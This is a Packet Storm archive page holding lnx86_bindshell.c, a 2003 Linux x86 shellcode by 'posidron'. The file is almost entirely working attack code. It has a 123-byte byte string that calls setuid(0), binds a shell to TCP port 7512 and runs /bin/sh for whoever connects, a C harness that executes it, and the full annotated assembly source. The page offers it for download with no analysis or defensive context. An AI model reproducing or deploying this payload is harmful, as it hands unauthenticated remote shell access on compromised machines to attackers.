exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

lnx86_bindshell.c

lnx86_bindshell.c
Posted Oct 14, 2003
Authored by posidron | Site tripbit.org

Linux x86 shellcode that binds a shell to port 7512 and has a size of 123 bytes.

tags | shell, x86, shellcode
systems | linux
SHA-256 | 446f8b26d46953947345898cf7cb71847960df0cffc32e68b8a82a2a3d321273

lnx86_bindshell.c

Change Mirror Download
/*  Tripbit Security Research (tripbit.org)
*
* title: lnx86_bindshell
* port: 7512
* size: 123 bytes
* system: linux x86
* author: posidron
* contact: posidron[at]tripbit.org
*/

#include <stdio.h>

char bindshell[]= "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x6a\x01\x6a"
"\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52"
"\x66\x68\x1d\x58\x66\x6a\x02\x89\xe2\x31\xc9\x6a"
"\x10\x52\x50\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a"
"\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31"
"\xc9\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd"
"\x80\x31\xc9\x89\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0"
"\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31\xc0\x50"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xdb"
"\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
void(*tsr) (void);
tsr = (void*)bindshell;
tsr();
return 0;
}


/*
%eax Name %ebx %ecx
1 sys_exit int -
11 sys_execve struct pt_regs -
23 sys_setuid uid_t -
63 sys_dup2 unsigned int unsigned int
102 sys_socketcall int unsigned long*

- sys_socketcall_socket = 1
- sys_socketcall_bind = 2
- sys_socketcall_listen = 4
- sys_socketcall_accept = 5
*/


/*
main()
{
__asm__("
xor %ebx, %ebx
movb $0x17, %al
int $0x80

xor %eax, %eax
push %eax
push $0x1
push $0x2
mov %esp,%ecx
incb %bl
movb $0x66,%al
int $0x80

xor %edx, %edx
push %edx
pushw $0x581d
pushw %0x2
mov %esp, %edx
xor %ecx, %ecx
push $0x10
push %edx
push %eax
mov %esp, %ecx
incb %bl
mov $0x66, %al
int $0x80

push $0x2
push $0x3
mov %esp, %ecx
movb $0x4, %bl
movb $0x66, %al
int $0x80

xor %ecx, %ecx
push %ecx
push %ecx
push $0x3
mov %esp, %ecx
incb %bl
movb $0x66, %al
int $0x80

mov %ecx, %ecx
mov %eax, %ebx
movb $0x3f, %al
int $0x80
incb %cl
mov $0x3f, %al
int $0x80
incb %cl
movb $0x3f, %al
int $0x80

xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
xor %edx, %edx
movb $0xb, %al
int $0x80

xor %ebx, %ebx
movb $0x1, %al
int $0x80
");
}
*/
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close